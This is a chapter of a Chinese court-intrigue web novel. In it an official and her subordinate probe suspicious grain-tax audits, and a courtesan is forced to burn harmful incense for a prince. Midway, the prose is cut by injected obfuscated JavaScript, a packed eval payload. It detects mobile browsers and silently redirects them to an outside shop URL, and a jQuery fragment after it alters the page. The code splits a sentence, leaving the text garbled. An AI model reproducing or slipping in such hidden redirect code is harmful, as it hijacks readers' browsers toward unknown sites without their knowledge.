可叶家站队二皇子也不合理,偌大一个世家,小辈无一人身负官职,唯有一个叶泊在外奔波行商。
若是能查到上沙洲的官员来历或许能有点头绪?
“谢大人谢大人,这是最后的稽核案了!”
门外的江采呼啸而入,抱着零散的几个卷宗放在书堆里。
“这些卷宗都被压在最下面,上次都没看到多少,幸亏下官多翻了几次。”
谢霏雪放下手里的卷宗,在江采新带来的卷宗里摸出一卷。
“岁末奏销事关重大,历年的稽核案也该妥善保存,怎么被压在下面?”谢霏雪看着稽核案,状似不经意地问。
此时江采一改常态,偷偷摸摸去门口看了一下,确定门口没有人才跑回谢霏雪身边说:“大人有所不知,户房郎中是知道其中有古怪所以才将此事交给您的。
“那文谦肯定不知道,下官仗着有点钱也和其他同僚熟些才知道此事。
“每年岁末奏销完,户房的主事都会调动,兴许您明年便是赋税奏销了,主的就是让所有人都扯上漕运这摊子事。
“都成了同谋就不会捅出去,下官本以为是这些人胆大包天,后来才知道每次负责调动的吏房郎中听的都是皇室的话。”
这话是提醒谢霏雪她今年岁末奏销必定会被拉入此事,也是在试探她的立场。
能查到这么多,也就能知道吏房郎中是谁的人。
谢霏雪顿时起了疑云,这江采接近她果然是听了一派势力的嘱托。
但江采本人并没有多少心思,若是她的大人是二皇子派系的,现在说两句二皇子胆大包天的话估计要影响升迁。
还是得看看谢大人是属于哪个派系再灵活调整立场,有奶就是娘,她目前的派系就是谢霏雪一派。
而谢霏雪已经在猜测江采会是哪个派系的人了。
川江叶家极有可能支持二皇子,那么依附叶家的江氏会不会顺从叶家的立场?
屋里的两人突然沉默起来,谢霏雪不说话江采也不敢多言。
空气凝结到了午时,江采实在有些忍不住了,悄悄开口说:“谢大人看到昨晚的花灯了么,这些日子放了好几次灯了。”
“又是醉花楼放灯?”
江采点头,说:“下官来京城久了,醉花楼之前都是一月放一次,可最近半月内便放了三次了。”
“花魁真是有活力啊。”江采感叹了一句,算是打破了屋里的沉默。
醉花楼内。
一群姑娘搭手撤下纱帐,落香也在其中。
“落香姐姐你去休息吧,这里有我们就好了。”花红柳绿的姑娘们喘着气卷起长纱,劝落香回楼去。
她们能在这里不受老鸨欺负要多亏了落香护着,若非落香攀上二皇子让老鸨妈妈忌惮,她们指不定现在是什么日子。
落香说她被二皇子看中的事绝对不能说出去,不然会被打死的,所以楼里的姑娘们都三缄其口,甚至每日饮酒练酒量,生怕哪日喝多了说漏嘴。
“行吧。”落香这几日给燕照点的香越来越多了,解药也有些力不从心。
自从燕照被免了上朝,不过两三日就又来了,只能按照二皇子的命令点香放灯。
心月香伤身,而每次放灯都是两个时辰不断的献舞,落香的体力也有亏空之势,更何况二皇子上次直接命她点三支。
不知道三皇子还能撑多久,她能等到那个人来吗?
一旦她的使命完成,二皇子恐怕会让人来杀她,楼里的姐妹以后要怎么办?
即便有幸活下去委身于二皇子,又能过几天好日子?
落香的屋子是满楼通风最好的屋子,现下正大开着窗户,风卷动桌上的印花小笺飞出窗外。
不知怎得她突然觉得好累,铜镜里她的嘴唇也在泛白,跌跌撞撞地走到窗边看着昭京繁华的黄昏,无力地滑坐在地上。
“娘……”
那个记忆力麻布衣服温柔的女人还没想起来,就听到楼外的巷子里吵吵嚷嚷的。
落香回过神来,扶着墙边站起来,摸着口脂随意涂画两下就探头朝下看去。
是一群乞丐在抢地盘,躺在地上的小孩脏兮兮的浑身是伤,落香蹙眉骂道:“去去去,一群穷酸货别脏了我醉花楼的地盘!”
果然吸引到了那群大乞丐的注意力,粘腻的目光在落香脸上转了几下后离开了,走的时候还不忘啐一声,“今儿就看在落香姐姐的面子上放你一马!”
落香看着那群乞丐走了,将桌上油纸包好的几个点心扔下去,说:“你也滚远点,这块地方可不是你能混的!”
小乞丐胆怯地抬头看了一眼光鲜亮丽的落香,随后怂着肩爬过去拿起油纸就跑,直到跑到一处破庙才敢打开。
点心已经被摔碎捏碎了,小乞丐狼吞虎咽地往嘴里塞着,生怕被抢走。
这样的事落香已经见怪不怪了,又去楼下包了几个点心拿上来。
她没念过书,不知道什么是家国大义,但她知道手里空余的点心扔出去就是一个乞丐一天的饱饭。
或许还是会饿死,但起码活着就一定能有活路走。
落香突然想起醉花楼最近有人说的那个女官谢霏雪,谢家宗女,入仕不过一月已是五品高官,真是让人羡慕啊。
收拾好剩下的心月香,落香决定将自己攒的赎身钱分给楼里的姐妹。
楼里的姑娘都不愿意收这钱,还是落香硬塞给她们才算了事。
纤细瘦弱的身体往三楼走去,听不见身后姐妹打抱不平的声音。
“那个说要来赎走落香姐的人到底在哪。”最小的姑娘脸上挂着泪,却听到其他姐妹的话。
“落香姐恐怕早就知道他不会来了,不然怎么自己攒了这么多。”
回到楼上躺下的落香只觉得疲惫,不禁想着谢霏雪谢大人在朝中会是什么样子。
“除了上沙洲,还有临沪洲去年的稽核也损耗极多。”江采终于翻到一个损耗多的稽核案了。
话说出口就觉得不对,这临沪洲也是川江一代的啊。
越描越黑的江采小心翼翼地看了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714751|208338||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼谢霏雪的脸色,瞧见她一切如旧放下心来。
“立冬的大朝会已过,再往后就是今年的奏销了吧。”
等到大雪,就是今年的奏销了。
谢霏雪合上卷宗,说:“这几日兴许会有人给你我发请帖,你有什么想法?”
“下官可没这么大面子,大人如今扯上漕运稽核或许会有不少呢。”江采如今还不知道谢霏雪的想法,还不敢得罪任何一位皇子。
两人就这样在屋里试探了一天,最后各自回府去了。
马车上的谢霏雪不禁感叹这江采真是警惕,心机深沉,竟一整天都不露马脚。
等到回府后同疏桐素徽讲了此事,素徽突然说了一句:“大人,这江大人会不会是在看您的立场说话啊。”
谢霏雪蓦地愣住,似乎真的有点像。
疏桐挠挠头说着:“大人您在高位久了不理解下面人也正常,要是属下的立场和大人不同,恐怕会影响属下在大人心中的地位。”
而城内另一端的江府,江采一进门就有气无力地拱进哥哥的书房,跌倒在椅子上。
“大哥你是有所不知,这位谢大人真是滴水不漏,我一点都不敢多说啊。”
江琢才从江家的商行回来不久,听到家里唯一一个读书人官场的事迹,不禁笑出声道:“江家在川江依附叶家,你今日找到的还都是叶家的麻烦,谢大人估计以为你在给她布局呢。”
“我给她布局?”江采一个鲤鱼打挺起来指着自己,说,“算了吧,能从谢家考核杀出来的文弱之人肯定足智多谋。我呢,就是给爹娘和你混混地位,哪能跟她比啊。”
“她忌惮的是江家背后的叶家,或者说叶家的选择。”江琢再给妹妹提点一句,就将她赶出了自己的书房,“为兄的账本就不遭你霍霍了。”
被赶出去的多了,江采没什么感受,回到自己包含大量话本的书房里仔细想着江琢的话。
“谢大人不会以为我跟叶家一样选了二皇子吧!”
有了猜测,再倒推今日的对话便可知端倪。
所以谢霏雪以为她是二皇子的人,专门来接近她的?这简直是天大的诽谤!
江采如雷轰顶,她确实是一点都不如大哥通透啊。
唯今之计,只能明早见到谢霏雪就暗示自己其实是属于谢霏雪一派了。
“谢大人啊谢大人,怎么这么谨慎多疑啊!”江采痛苦地挠头,门口所有的侍女侍卫都不敢说话。
谢府内。
谢霏雪的书房一阵沉默过后,迎来了谢霏雪的第一位学生。
“宗女大人?”谢烟依旧小心翼翼地观察屋里的气氛,说,“我今日去跟父亲要了好多策论史记的书,父亲竟然直接给了我一箱。”
“这是他该做的,你先通读吧。”谢霏雪揉揉眉心,随意指了几本自己幼时读过的书给她,“读书明理,但纸上谈兵不会,你多看看书,也多去城里走走。”
“是!”
谢烟带着任务回了自己的院子,却见谢夫人已经在她的院子等她多时了。